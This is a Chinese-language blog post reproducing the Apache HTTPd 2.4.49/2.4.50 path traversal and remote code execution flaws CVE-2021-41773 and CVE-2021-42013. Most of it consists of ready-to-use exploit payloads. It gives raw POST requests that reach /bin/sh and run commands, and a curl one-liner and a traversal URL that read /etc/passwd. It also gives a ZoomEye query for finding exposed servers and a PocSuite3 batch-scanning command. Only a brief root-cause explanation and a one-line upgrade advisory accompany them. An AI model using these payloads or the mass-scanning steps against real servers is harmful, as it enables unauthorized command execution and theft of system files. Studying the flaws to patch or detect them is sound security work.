CVE-2021-41773 && CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 && 目录穿越漏洞

CVE-2021-41773漏洞描述:

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

影响版本

Apache HTTPd 2.4.49/2.4.50版本

zoomeye语法

app:“apache web server 2.4.49 2.4.50”

复现过程:

环境搭建:

docker镜像:
https://github.com/blasty/CVE-2021-41773
搭建效果:
CVE-2021-41773 && CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 && 目录穿越漏洞_第1张图片

rce复现:

抓包:
CVE-2021-41773 && CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 && 目录穿越漏洞_第2张图片
poc:

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: your ip : port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 16 Oct 2021 07:06:04 GMT
If-None-Match: "29cd-5ce72f1ed2f00-gzip"
Cache-Control: max-age=0
Content-Length: 41


echo Content-Type: text/plain; echo; ls

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5ce4665e39700-gzip"
If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

echo; whoami

curl:

curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'

修复:

建议使用Apache HTTPd 2.4.49 与Apache HTTPd 2.4.50 版本的服务器更新Apache HTTPd 版本至最新。

批量利用检测利用工具:

可视化界面工具

Github地址:

https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

PocSuite3工具

批量:

python3 .\cli.py -r .\pocs\20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -f 1.txt --verify

CVE-2021-42013 目录穿越

漏洞成因:

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

CVE-2021-41773 && CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 && 目录穿越漏洞_第3张图片

CVE-2021-41773 && CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 && 目录穿越漏洞_第4张图片

触发:

ip:port/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

CVE-2021-41773 && CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 && 目录穿越漏洞_第5张图片

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

你可能感兴趣的:(漏洞复现,apache,docker,python)